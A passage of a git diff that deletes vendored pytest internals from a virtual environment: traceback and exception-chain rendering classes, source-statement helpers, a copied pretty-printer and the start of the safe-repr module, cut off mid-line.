description = "The above exception was the direct cause of the following exception:" - elif ( - e.__context__ is not None and not e.__suppress_context__ and self.chain - ): - e = e.__context__ - excinfo_ = ExceptionInfo.from_exception(e) if e.__traceback__ else None - description = "During handling of the above exception, another exception occurred:" - else: - e = None - repr_chain.reverse() - return ExceptionChainRepr(repr_chain) - - -@dataclasses.dataclass(eq=False) -class TerminalRepr: - """Base class for terminal representations -- pieces of data that display - themselves to a terminal.""" - - def __str__(self) -> str: - # FYI this is called from pytest-xdist's serialization of exception - # information. - io = StringIO() - tw = TerminalWriter(file=io) - self.toterminal(tw) - return io.getvalue().strip() - - def __repr__(self) -> str: - return f"<{self.__class__} instance at {id(self):0x}>" - - def toterminal(self, tw: TerminalWriter) -> None: - raise NotImplementedError() - - -@dataclasses.dataclass(eq=False) -class ExceptionRepr(TerminalRepr): - """Base class for exception terminal representations. - - The representation generally contains: - - The exception traceback (`reprtraceback`) - - The exception message and location (`reprcrash`) - - Separated, titled sections with additional data (pytest core doesn't use - this currently). - """ - - reprtraceback: ReprTraceback - reprcrash: ReprFileLocation | None - sections: list[tuple[str, str, str]] = dataclasses.field( - init=False, default_factory=list - ) - - def addsection(self, name: str, content: str, sep: str = "-") -> None: - self.sections.append((name, content, sep)) - - def toterminal(self, tw: TerminalWriter) -> None: - for name, content, sep in self.sections: - tw.sep(sep, name) - tw.line(content) - - -@dataclasses.dataclass(eq=False) -class ExceptionChainRepr(ExceptionRepr): - """A chain of exceptions, separated by descriptions (e.g. "The above - exception was the direct cause of the following exception").""" - - chain: Sequence[tuple[ReprTraceback, ReprFileLocation | None, str | None]] - - def __init__( - self, - chain: Sequence[tuple[ReprTraceback, ReprFileLocation | None, str | None]], - ) -> None: - # reprcrash and reprtraceback of the outermost (the newest) exception - # in the chain. - super().__init__( - reprtraceback=chain[-1][0], - reprcrash=chain[-1][1], - ) - self.chain = chain - - def toterminal(self, tw: TerminalWriter) -> None: - for reprtraceback, reprcrash, description in self.chain: - reprtraceback.toterminal(tw) - if description is not None: - tw.line("") - tw.line(description, yellow=True) - super().toterminal(tw) - - -@dataclasses.dataclass(eq=False) -class ReprExceptionInfo(ExceptionRepr): - """A single exception with optional extra details (function arguments, - function locals, file location) and possible extra line and sections emitted - at the end.""" - - def toterminal(self, tw: TerminalWriter) -> None: - self.reprtraceback.toterminal(tw) - super().toterminal(tw) - - -@dataclasses.dataclass(eq=False) -class ReprTraceback(TerminalRepr): - """A traceback with optional extra details (function arguments, function - locals, file location) and possible extra line emitted at the end.""" - - reprentries: Sequence[ReprEntry | ReprEntryNative] - extraline: str | None - style: TracebackStyle - - entrysep: ClassVar = "_ " - - def toterminal(self, tw: TerminalWriter) -> None: - # The entries might have different styles. - for i, entry in enumerate(self.reprentries): - if entry.style == "long": - tw.line("") - entry.toterminal(tw) - if i < len(self.reprentries) - 1: - next_entry = self.reprentries[i + 1] - if entry.style == "long" or ( - entry.style == "short" and next_entry.style == "long" - ): - tw.sep(self.entrysep) - - if self.extraline: - tw.line(self.extraline) - - -class ReprTracebackNative(ReprTraceback): - """A traceback in native style. - - The lines are emitted as is; uses a single entry for the entire native - traceback. - """ - - def __init__(self, tblines: Sequence[str], *, extraline: str | None = None) -> None: - self.reprentries = [ReprEntryNative(tblines)] - self.extraline = extraline - self.style = "native" - - -@dataclasses.dataclass(eq=False) -class ReprEntryNative(TerminalRepr): - """An entry in a traceback in native style. - - Emits the lines as is. The lines are assumed to include the line separators. - - [Note that we currently use a single "entry" for the entire native - traceback, so this is a bit misleading, but there's no point trying to parse - or split a native traceback.] - """ - - lines: Sequence[str] - - style: ClassVar[TracebackStyle] = "native" - - def toterminal(self, tw: TerminalWriter) -> None: - tw.write("".join(self.lines)) - - -@dataclasses.dataclass(eq=False) -class ReprEntry(TerminalRepr): - """An entry in a traceback with possible extra details (function arguments, - function locals, source snippet, function's file and line).""" - - lines: Sequence[str] - reprfuncargs: ReprFuncArgs | None - reprlocals: ReprLocals | None - reprfileloc: ReprFileLocation | None - style: TracebackStyle - - def _write_entry_lines(self, tw: TerminalWriter) -> None: - """Write the source code portions of a list of traceback entries with syntax highlighting. - - Usually entries are lines like these: - - " x = 1" - "> assert x == 2" - "E assert 1 == 2" - - This function takes care of rendering the "source" portions of it (the lines without - the "E" prefix) using syntax highlighting, taking care to not highlighting the ">" - character, as doing so might break line continuations. - """ - if not self.lines: - return - - if self.style == "value": - # Using tw.write instead of tw.line for testing purposes due to TWMock implementation; - # lines written with TWMock.line and TWMock._write_source cannot be distinguished - # from each other, whereas lines written with TWMock.write are marked with TWMock.WRITE - for line in self.lines: - tw.write(line) - tw.write("\n") - return - - # separate indents and source lines that are not failures: we want to - # highlight the code but not the indentation, which may contain markers - # such as "> assert 0" - fail_marker = f"{ExceptionInfoFormatter.fail_marker} " - indent_size = len(fail_marker) - indents: list[str] = [] - source_lines: list[str] = [] - failure_lines: list[str] = [] - for index, line in enumerate(self.lines): - is_failure_line = line.startswith(fail_marker) - if is_failure_line: - # from this point on all lines are considered part of the failure - failure_lines.extend(self.lines[index:]) - break - else: - indents.append(line[:indent_size]) - source_lines.append(line[indent_size:]) - - tw._write_source(source_lines, indents) - - # failure lines are always completely red and bold - for line in failure_lines: - tw.line(line, bold=True, red=True) - - def toterminal(self, tw: TerminalWriter) -> None: - if self.style == "short": - if self.reprfileloc: - self.reprfileloc.toterminal(tw) - self._write_entry_lines(tw) - if self.reprlocals: - self.reprlocals.toterminal(tw, indent=" " * 8) - return - - if self.reprfuncargs: - self.reprfuncargs.toterminal(tw) - - self._write_entry_lines(tw) - - if self.reprlocals: - tw.line("") - self.reprlocals.toterminal(tw) - if self.reprfileloc: - if self.lines: - tw.line("") - self.reprfileloc.toterminal(tw) - - def __str__(self) -> str: - return "{}\n{}\n{}".format( - "\n".join(self.lines), self.reprlocals, self.reprfileloc - ) - - -@dataclasses.dataclass(eq=False) -class ReprFileLocation(TerminalRepr): - """A message at a file location, using the `:: ` - format that most editors understand. - - Only the first line of the message is emitted. - """ - - path: str - lineno: int - message: str - - def __post_init__(self) -> None: - self.path = str(self.path) - - def toterminal(self, tw: TerminalWriter) -> None: - msg = self.message - i = msg.find("\n") - if i != -1: - msg = msg[:i] - tw.write(self.path, bold=True, red=True) - tw.line(f":{self.lineno}: {msg}") - - -@dataclasses.dataclass(eq=False) -class ReprLocals(TerminalRepr): - """Function local variables (pre-formatted).""" - - lines: Sequence[str] - - def toterminal(self, tw: TerminalWriter, indent: str = "") -> None: - for line in self.lines: - tw.line(indent + line) - - -@dataclasses.dataclass(eq=False) -class ReprFuncArgs(TerminalRepr): - """Function arguments - name = value, comma separated.""" - - args: Sequence[tuple[str, object]] - - def toterminal(self, tw: TerminalWriter) -> None: - if self.args: - linesofar = "" - for name, value in self.args: - ns = f"{name} = {value}" - if len(ns) + len(linesofar) + 2 > tw.fullwidth: - if linesofar: - tw.line(linesofar) - linesofar = ns - else: - if linesofar: - linesofar += ", " + ns - else: - linesofar = ns - if linesofar: - tw.line(linesofar) - tw.line("") - - -def getfslineno(obj: object) -> tuple[str | Path, int]: - """Return source location (path, lineno) for the given object. - - If the source cannot be determined return ("", -1). - - The line number is 0-based. - """ - # xxx let decorators etc specify a sane ordering - # NOTE: this used to be done in _pytest.compat.getfslineno, initially added - # in 6ec13a2b9. It ("place_as") appears to be something very custom. - obj = get_real_func(obj) - if hasattr(obj, "place_as"): - obj = obj.place_as - - try: - code = Code.from_function(obj) - except TypeError: - try: - fn = inspect.getsourcefile(obj) or inspect.getfile(obj) # type: ignore[arg-type] - except TypeError: - return "", -1 - - fspath = (fn and absolutepath(fn)) or "" - lineno = -1 - if fspath: - try: - _, lineno = findsource(obj) - except OSError: - pass - return fspath, lineno - - return code.path, code.firstlineno - - -def _byte_offset_to_character_offset(str, offset): - """Converts a byte based offset in a string to a code-point.""" - as_utf8 = str.encode("utf-8") - return len(as_utf8[:offset].decode("utf-8", errors="replace")) - - -# Relative paths that we use to filter traceback entries from appearing to the user; -# see filter_traceback. -# note: if we need to add more paths than what we have now we should probably use a list -# for better maintenance. - -_PLUGGY_DIR = Path(pluggy.__file__.rstrip("oc")) -# pluggy is either a package or a single module depending on the version -if _PLUGGY_DIR.name == "__init__.py": - _PLUGGY_DIR = _PLUGGY_DIR.parent -_PYTEST_DIR = Path(_pytest.__file__).parent - - -def filter_traceback(entry: TracebackEntry) -> bool: - """Return True if a TracebackEntry instance should be included in tracebacks. - - We hide traceback entries of: - - * dynamically generated code (no code to show up for it); - * internal traceback from pytest or its internal libraries, py and pluggy. - """ - # entry.path might sometimes return a str object when the entry - # points to dynamically generated code. - # See https://bitbucket.org/pytest-dev/py/issues/71. - raw_filename = entry.frame.code.raw.co_filename - is_generated = "<" in raw_filename and ">" in raw_filename - if is_generated: - return False - - # entry.path might point to a non-existing file, in which case it will - # also return a str object. See #1133. - p = Path(entry.path) - - parents = p.parents - if _PLUGGY_DIR in parents: - return False - if _PYTEST_DIR in parents: - return False - - return True - - -def filter_excinfo_traceback( - tbfilter: TracebackFilter, excinfo: ExceptionInfo[BaseException] -) -> Traceback: - """Filter the exception traceback in ``excinfo`` according to ``tbfilter``.""" - if callable(tbfilter): - return tbfilter(excinfo) - elif tbfilter: - return excinfo.traceback.filter(excinfo) - else: - return excinfo.traceback diff --git a/venv/Lib/site-packages/_pytest/_code/source.py b/venv/Lib/site-packages/_pytest/_code/source.py deleted file mode 100644 index cbadf667907504d1166a190f01990a69ca26c300..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/_code/source.py +++ /dev/null @@ -1,228 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import ast -from bisect import bisect_right -from collections.abc import Iterable -from collections.abc import Iterator -import inspect -import textwrap -import tokenize -import types -from typing import overload -import warnings - - -class Source: - """An immutable object holding a source code fragment. - - When using Source(...), the source lines are deindented. - """ - - def __init__(self, obj: object = None) -> None: - if not obj: - self.lines: list[str] = [] - self.raw_lines: list[str] = [] - elif isinstance(obj, Source): - self.lines = obj.lines - self.raw_lines = obj.raw_lines - elif isinstance(obj, tuple | list): - self.lines = deindent(x.rstrip("\n") for x in obj) - self.raw_lines = list(x.rstrip("\n") for x in obj) - elif isinstance(obj, str): - self.lines = deindent(obj.split("\n")) - self.raw_lines = obj.split("\n") - else: - try: - rawcode = getrawcode(obj) - src = inspect.getsource(rawcode) - except TypeError: - src = inspect.getsource(obj) # type: ignore[arg-type] - self.lines = deindent(src.split("\n")) - self.raw_lines = src.split("\n") - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Source): - return NotImplemented - return self.lines == other.lines - - # Ignore type because of https://github.com/python/mypy/issues/4266. - __hash__ = None # type: ignore - - @overload - def __getitem__(self, key: int) -> str: ... - - @overload - def __getitem__(self, key: slice) -> Source: ... - - def __getitem__(self, key: int | slice) -> str | Source: - if isinstance(key, int): - return self.lines[key] - else: - if key.step not in (None, 1): - raise IndexError("cannot slice a Source with a step") - newsource = Source() - newsource.lines = self.lines[key.start : key.stop] - newsource.raw_lines = self.raw_lines[key.start : key.stop] - return newsource - - def __iter__(self) -> Iterator[str]: - return iter(self.lines) - - def __len__(self) -> int: - return len(self.lines) - - def strip(self) -> Source: - """Return new Source object with trailing and leading blank lines removed.""" - start, end = 0, len(self) - while start < end and not self.lines[start].strip(): - start += 1 - while end > start and not self.lines[end - 1].strip(): - end -= 1 - source = Source() - source.raw_lines = self.raw_lines - source.lines[:] = self.lines[start:end] - return source - - def indent(self, indent: str = " " * 4) -> Source: - """Return a copy of the source object with all lines indented by the - given indent-string.""" - newsource = Source() - newsource.raw_lines = self.raw_lines - newsource.lines = [(indent + line) for line in self.lines] - return newsource - - def getstatement(self, lineno: int) -> Source: - """Return Source statement which contains the given linenumber - (counted from 0).""" - start, end = self.getstatementrange(lineno) - return self[start:end] - - def getstatementrange(self, lineno: int) -> tuple[int, int]: - """Return (start, end) tuple which spans the minimal statement region - which containing the given lineno.""" - if not (0 <= lineno < len(self)): - raise IndexError("lineno out of range") - _ast, start, end = getstatementrange_ast(lineno, self) - return start, end - - def deindent(self) -> Source: - """Return a new Source object deindented.""" - newsource = Source() - newsource.lines[:] = deindent(self.lines) - newsource.raw_lines = self.raw_lines - return newsource - - def __str__(self) -> str: - return "\n".join(self.lines) - - -# -# helper functions -# - - -def findsource(obj) -> tuple[Source | None, int]: - try: - sourcelines, lineno = inspect.findsource(obj) - except Exception: - return None, -1 - source = Source() - source.lines = [line.rstrip() for line in sourcelines] - source.raw_lines = sourcelines - return source, lineno - - -def getrawcode(obj: object, trycall: bool = True) -> types.CodeType: - """Return code object for given function.""" - try: - return obj.__code__ # type: ignore[attr-defined,no-any-return] - except AttributeError: - pass - if trycall: - call = getattr(obj, "__call__", None) - if call and not isinstance(obj, type): - return getrawcode(call, trycall=False) - raise TypeError(f"could not get code object for {obj!r}") - - -def deindent(lines: Iterable[str]) -> list[str]: - return textwrap.dedent("\n".join(lines)).splitlines() - - -def get_statement_startend2(lineno: int, node: ast.AST) -> tuple[int, int | None]: - # Flatten all statements and except handlers into one lineno-list. - # AST's line numbers start indexing at 1. - values: list[int] = [] - for x in ast.walk(node): - if isinstance(x, ast.stmt | ast.ExceptHandler): - # The lineno points to the class/def, so need to include the decorators. - if isinstance(x, ast.ClassDef | ast.FunctionDef | ast.AsyncFunctionDef): - for d in x.decorator_list: - values.append(d.lineno - 1) - values.append(x.lineno - 1) - for name in ("finalbody", "orelse"): - val: list[ast.stmt] | None = getattr(x, name, None) - if val: - # Treat the finally/orelse part as its own statement. - values.append(val[0].lineno - 1 - 1) - values.sort() - insert_index = bisect_right(values, lineno) - if insert_index == 0: - return 0, None - start = values[insert_index - 1] - if insert_index >= len(values): - end = None - else: - end = values[insert_index] - return start, end - - -def getstatementrange_ast( - lineno: int, - source: Source, - assertion: bool = False, - astnode: ast.AST | None = None, -) -> tuple[ast.AST, int, int]: - if astnode is None: - content = str(source) - # See #4260: - # Don't produce duplicate warnings when compiling source to find AST. - with warnings.catch_warnings(): - warnings.simplefilter("ignore") - astnode = ast.parse(content, "source", "exec") - - start, end = get_statement_startend2(lineno, astnode) - # We need to correct the end: - # - ast-parsing strips comments - # - there might be empty lines - # - we might have lesser indented code blocks at the end - if end is None: - end = len(source.lines) - - if end > start + 1: - # Make sure we don't span differently indented code blocks - # by using the BlockFinder helper used which inspect.getsource() uses itself. - block_finder = inspect.BlockFinder() - # If we start with an indented line, put blockfinder to "started" mode. - block_finder.started = ( - bool(source.lines[start]) and source.lines[start][0].isspace() - ) - it = ((x + "\n") for x in source.lines[start:end]) - try: - for tok in tokenize.generate_tokens(lambda: next(it)): - block_finder.tokeneater(*tok) - except (inspect.EndOfBlock, IndentationError): - end = block_finder.last + start - except Exception: - pass - - # The end might still point to a comment or empty line, correct it. - end = min(end, len(source.lines)) - while end: - line = source.lines[end - 1].lstrip() - if line.startswith("#") or not line: - end -= 1 - else: - break - return astnode, start, end diff --git a/venv/Lib/site-packages/_pytest/_io/__init__.py b/venv/Lib/site-packages/_pytest/_io/__init__.py deleted file mode 100644 index b0155b18b605326ba0a3104deaefde938b7d651a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/_io/__init__.py +++ /dev/null @@ -1,10 +0,0 @@ -from __future__ import annotations - -from .terminalwriter import get_terminal_width -from .terminalwriter import TerminalWriter - - -__all__ = [ - "TerminalWriter", - "get_terminal_width", -] diff --git a/venv/Lib/site-packages/_pytest/_io/pprint.py b/venv/Lib/site-packages/_pytest/_io/pprint.py deleted file mode 100644 index ec41b449ddfefcfff816b6512dad854617c59226..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/_io/pprint.py +++ /dev/null @@ -1,673 +0,0 @@ -# mypy: allow-untyped-defs -# This module was imported from the cpython standard library -# (https://github.com/python/cpython/) at commit -# c5140945c723ae6c4b7ee81ff720ac8ea4b52cfd (python3.12). -# -# -# Original Author: Fred L. Drake, Jr. -# fdrake@acm.org -# -# This is a simple little module I wrote to make life easier. I didn't -# see anything quite like it in the library, though I may have overlooked -# something. I wrote this when I was trying to read some heavily nested -# tuples with fairly non-descriptive content. This is modeled very much -# after Lisp/Scheme - style pretty-printing of lists. If you find it -# useful, thank small children who sleep at night. -from __future__ import annotations - -import collections as _collections -from collections.abc import Callable -from collections.abc import Iterator -import dataclasses as _dataclasses -from io import StringIO as _StringIO -import re -import types as _types -from typing import Any -from typing import IO - - -class _safe_key: - """Helper function for key functions when sorting unorderable objects. - - The wrapped-object will fallback to a Py2.x style comparison for - unorderable types (sorting first comparing the type name and then by - the obj ids). Does not work recursively, so dict.items() must have - _safe_key applied to both the key and the value. - - """ - - __slots__ = ["obj"] - - def __init__(self, obj): - self.obj = obj - - def __lt__(self, other): - try: - return self.obj < other.obj - except TypeError: - return (str(type(self.obj)), id(self.obj)) < ( - str(type(other.obj)), - id(other.obj), - ) - - -def _safe_tuple(t): - """Helper function for comparing 2-tuples""" - return _safe_key(t[0]), _safe_key(t[1]) - - -class PrettyPrinter: - def __init__( - self, - indent: int = 4, - width: int = 80, - depth: int | None = None, - ) -> None: - """Handle pretty printing operations onto a stream using a set of - configured parameters. - - indent - Number of spaces to indent for each level of nesting. - - width - Attempted maximum number of columns in the output. - - depth - The maximum depth to print out nested structures. - - """ - if indent < 0: - raise ValueError("indent must be >= 0") - if depth is not None and depth <= 0: - raise ValueError("depth must be > 0") - if not width: - raise ValueError("width must be != 0") - self._depth = depth - self._indent_per_level = indent - self._width = width - - def pformat(self, object: Any) -> str: - sio = _StringIO() - self._format(object, sio, 0, 0, set(), 0) - return sio.getvalue() - - def _format( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - objid = id(object) - if objid in context: - stream.write(_recursion(object)) - return - - p = self._dispatch.get(type(object).__repr__, None) - if p is not None: - context.add(objid) - p(self, object, stream, indent, allowance, context, level + 1) - context.remove(objid) - elif ( - _dataclasses.is_dataclass(object) - and not isinstance(object, type) - and object.__dataclass_params__.repr # type:ignore[attr-defined] - and - # Check dataclass has generated repr method. - hasattr(object.__repr__, "__wrapped__") - and "__create_fn__" in object.__repr__.__wrapped__.__qualname__ - ): - context.add(objid) - self._pprint_dataclass( - object, stream, indent, allowance, context, level + 1 - ) - context.remove(objid) - else: - stream.write(self._repr(object, context, level)) - - def _pprint_dataclass( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - cls_name = object.__class__.__name__ - items = [ - (f.name, getattr(object, f.name)) - for f in _dataclasses.fields(object) - if f.repr - ] - stream.write(cls_name + "(") - self._format_namespace_items(items, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch: dict[ - Callable[..., str], - Callable[[PrettyPrinter, Any, IO[str], int, int, set[int], int], None], - ] = {} - - def _pprint_dict( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - write = stream.write - write("{") - items = object.items() - self._format_dict_items(items, stream, indent, allowance, context, level) - write("}") - - _dispatch[dict.__repr__] = _pprint_dict - - def _pprint_ordered_dict( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not len(object): - stream.write(repr(object)) - return - cls = object.__class__ - stream.write(cls.__name__ + "(") - self._pprint_dict(object, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[_collections.OrderedDict.__repr__] = _pprint_ordered_dict - - def _pprint_list( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - stream.write("[") - self._format_items(object, stream, indent, allowance, context, level) - stream.write("]") - - _dispatch[list.__repr__] = _pprint_list - - def _pprint_tuple( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - stream.write("(") - self._format_items(object, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[tuple.__repr__] = _pprint_tuple - - def _pprint_set( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not len(object): - stream.write(repr(object)) - return - typ = object.__class__ - if typ is set: - stream.write("{") - endchar = "}" - else: - stream.write(typ.__name__ + "({") - endchar = "})" - object = sorted(object, key=_safe_key) - self._format_items(object, stream, indent, allowance, context, level) - stream.write(endchar) - - _dispatch[set.__repr__] = _pprint_set - _dispatch[frozenset.__repr__] = _pprint_set - - def _pprint_str( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - write = stream.write - if not len(object): - write(repr(object)) - return - chunks = [] - lines = object.splitlines(True) - if level == 1: - indent += 1 - allowance += 1 - max_width1 = max_width = self._width - indent - for i, line in enumerate(lines): - rep = repr(line) - if i == len(lines) - 1: - max_width1 -= allowance - if len(rep) <= max_width1: - chunks.append(rep) - else: - # A list of alternating (non-space, space) strings - parts = re.findall(r"\S*\s*", line) - assert parts - assert not parts[-1] - parts.pop() # drop empty last part - max_width2 = max_width - current = "" - for j, part in enumerate(parts): - candidate = current + part - if j == len(parts) - 1 and i == len(lines) - 1: - max_width2 -= allowance - if len(repr(candidate)) > max_width2: - if current: - chunks.append(repr(current)) - current = part - else: - current = candidate - if current: - chunks.append(repr(current)) - if len(chunks) == 1: - write(rep) - return - if level == 1: - write("(") - for i, rep in enumerate(chunks): - if i > 0: - write("\n" + " " * indent) - write(rep) - if level == 1: - write(")") - - _dispatch[str.__repr__] = _pprint_str - - def _pprint_bytes( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - write = stream.write - if len(object) <= 4: - write(repr(object)) - return - parens = level == 1 - if parens: - indent += 1 - allowance += 1 - write("(") - delim = "" - for rep in _wrap_bytes_repr(object, self._width - indent, allowance): - write(delim) - write(rep) - if not delim: - delim = "\n" + " " * indent - if parens: - write(")") - - _dispatch[bytes.__repr__] = _pprint_bytes - - def _pprint_bytearray( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - write = stream.write - write("bytearray(") - self._pprint_bytes( - bytes(object), stream, indent + 10, allowance + 1, context, level + 1 - ) - write(")") - - _dispatch[bytearray.__repr__] = _pprint_bytearray - - def _pprint_mappingproxy( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - stream.write("mappingproxy(") - self._format(object.copy(), stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[_types.MappingProxyType.__repr__] = _pprint_mappingproxy - - def _pprint_simplenamespace( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if type(object) is _types.SimpleNamespace: - # The SimpleNamespace repr is "namespace" instead of the class - # name, so we do the same here. For subclasses; use the class name. - cls_name = "namespace" - else: - cls_name = object.__class__.__name__ - items = object.__dict__.items() - stream.write(cls_name + "(") - self._format_namespace_items(items, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[_types.SimpleNamespace.__repr__] = _pprint_simplenamespace - - def _format_dict_items( - self, - items: list[tuple[Any, Any]], - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not items: - return - - write = stream.write - item_indent = indent + self._indent_per_level - delimnl = "\n" + " " * item_indent - for key, ent in items: - write(delimnl) - write(self._repr(key, context, level)) - write(": ") - self._format(ent, stream, item_indent, 1, context, level) - write(",") - - write("\n" + " " * indent) - - def _format_namespace_items( - self, - items: list[tuple[Any, Any]], - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not items: - return - - write = stream.write - item_indent = indent + self._indent_per_level - delimnl = "\n" + " " * item_indent - for key, ent in items: - write(delimnl) - write(key) - write("=") - if id(ent) in context: - # Special-case representation of recursion to match standard - # recursive dataclass repr. - write("...") - else: - self._format( - ent, - stream, - item_indent + len(key) + 1, - 1, - context, - level, - ) - - write(",") - - write("\n" + " " * indent) - - def _format_items( - self, - items: list[Any], - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not items: - return - - write = stream.write - item_indent = indent + self._indent_per_level - delimnl = "\n" + " " * item_indent - - for item in items: - write(delimnl) - self._format(item, stream, item_indent, 1, context, level) - write(",") - - write("\n" + " " * indent) - - def _repr(self, object: Any, context: set[int], level: int) -> str: - return self._safe_repr(object, context.copy(), self._depth, level) - - def _pprint_default_dict( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - rdf = self._repr(object.default_factory, context, level) - stream.write(f"{object.__class__.__name__}({rdf}, ") - self._pprint_dict(object, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[_collections.defaultdict.__repr__] = _pprint_default_dict - - def _pprint_counter( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - stream.write(object.__class__.__name__ + "(") - - if object: - stream.write("{") - items = object.most_common() - self._format_dict_items(items, stream, indent, allowance, context, level) - stream.write("}") - - stream.write(")") - - _dispatch[_collections.Counter.__repr__] = _pprint_counter - - def _pprint_chain_map( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - if not len(object.maps) or (len(object.maps) == 1 and not len(object.maps[0])): - stream.write(repr(object)) - return - - stream.write(object.__class__.__name__ + "(") - self._format_items(object.maps, stream, indent, allowance, context, level) - stream.write(")") - - _dispatch[_collections.ChainMap.__repr__] = _pprint_chain_map - - def _pprint_deque( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - stream.write(object.__class__.__name__ + "(") - if object.maxlen is not None: - stream.write(f"maxlen={object.maxlen}, ") - stream.write("[") - - self._format_items(object, stream, indent, allowance + 1, context, level) - stream.write("])") - - _dispatch[_collections.deque.__repr__] = _pprint_deque - - def _pprint_user_dict( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - self._format(object.data, stream, indent, allowance, context, level - 1) - - _dispatch[_collections.UserDict.__repr__] = _pprint_user_dict - - def _pprint_user_list( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - self._format(object.data, stream, indent, allowance, context, level - 1) - - _dispatch[_collections.UserList.__repr__] = _pprint_user_list - - def _pprint_user_string( - self, - object: Any, - stream: IO[str], - indent: int, - allowance: int, - context: set[int], - level: int, - ) -> None: - self._format(object.data, stream, indent, allowance, context, level - 1) - - _dispatch[_collections.UserString.__repr__] = _pprint_user_string - - def _safe_repr( - self, object: Any, context: set[int], maxlevels: int | None, level: int - ) -> str: - typ = type(object) - if typ in _builtin_scalars: - return repr(object) - - r = getattr(typ, "__repr__", None) - - if issubclass(typ, dict) and r is dict.__repr__: - if not object: - return "{}" - objid = id(object) - if maxlevels and level >= maxlevels: - return "{...}" - if objid in context: - return _recursion(object) - context.add(objid) - components: list[str] = [] - append = components.append - level += 1 - for k, v in object.items(): - krepr = self._safe_repr(k, context, maxlevels, level) - vrepr = self._safe_repr(v, context, maxlevels, level) - append(f"{krepr}: {vrepr}") - context.remove(objid) - return "{{{}}}".format(", ".join(components)) - - if (issubclass(typ, list) and r is list.__repr__) or ( - issubclass(typ, tuple) and r is tuple.__repr__ - ): - if issubclass(typ, list): - if not object: - return "[]" - format = "[%s]" - elif len(object) == 1: - format = "(%s,)" - else: - if not object: - return "()" - format = "(%s)" - objid = id(object) - if maxlevels and level >= maxlevels: - return format % "..." - if objid in context: - return _recursion(object) - context.add(objid) - components = [] - append = components.append - level += 1 - for o in object: - orepr = self._safe_repr(o, context, maxlevels, level) - append(orepr) - context.remove(objid) - return format % ", ".join(components) - - return repr(object) - - -_builtin_scalars = frozenset( - {str, bytes, bytearray, float, complex, bool, type(None), int} -) - - -def _recursion(object: Any) -> str: - return f"" - - -def _wrap_bytes_repr(object: Any, width: int, allowance: int) -> Iterator[str]: - current = b"" - last = len(object) // 4 * 4 - for i in range(0, len(object), 4): - part = object[i : i + 4] - candidate = current + part - if i == last: - width -= allowance - if len(repr(candidate)) > width: - if current: - yield repr(current) - current = part - else: - current = candidate - if current: - yield repr(current) diff --git a/venv/Lib/site-packages/_pytest/_io/saferepr.py b/venv/Lib/site-packages/_pytest/_io/saferepr.py deleted file mode 100644 index 3f5c956d9cf7eba3355e8097568a22705f82889f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/_io/saferepr.py +++ /dev/null @@ -1,155 +0,0 @@ -from __future__ import annotations - -from itertools import islice -import pprint -import reprlib - - -def _try_repr_or_str(obj: object) -> str: - try: - return repr(obj) - except (KeyboardInterrupt, SystemExit): - raise - except BaseException: - return f'{type(obj).__name__}("{obj}")' - - -def _format_repr_exception(exc: BaseException, obj: object) -> str: - try: - exc_info = _try_repr_or_str(exc) - except (KeyboardInterrupt, SystemExit): - raise - except BaseException as inner_exc: - exc_info = f"unpresentable exception ({_try_repr_or_str(inner_exc)})" - return ( - f"<[{exc_info} raised in repr()] {type(obj).__name__} object at 0x{id(obj):x}>" - ) - - -def _ellipsize(s: str, maxsize: int) -> str: - if len(s) > maxsize: - i = max(0, (maxsize - 3) // 2) - j = max(0, maxsize - 3 - i) - return s[:i] + "..." + s[len(s) - j :] - return s - - -class SafeRepr(reprlib.Repr): - """ - repr.Repr that limits the resulting size of repr() and includes - information on exceptions raised during the call. - """ - - def __init__(self, maxsize: int | None, use_ascii: bool = False) -> None: - """ - :param maxsize: - If not None, will truncate the resulting repr to that specific size, using ellipsis - somewhere in the middle to hide the extra text. - If None, will not impose any size limits on the returning repr. - """ - super().__init__() - # ``maxstring`` is used by the superclass, and needs to be an int; using a - # very large number in case maxsize is None, meaning we want to disable - # truncation. - self.maxstring = maxsize if 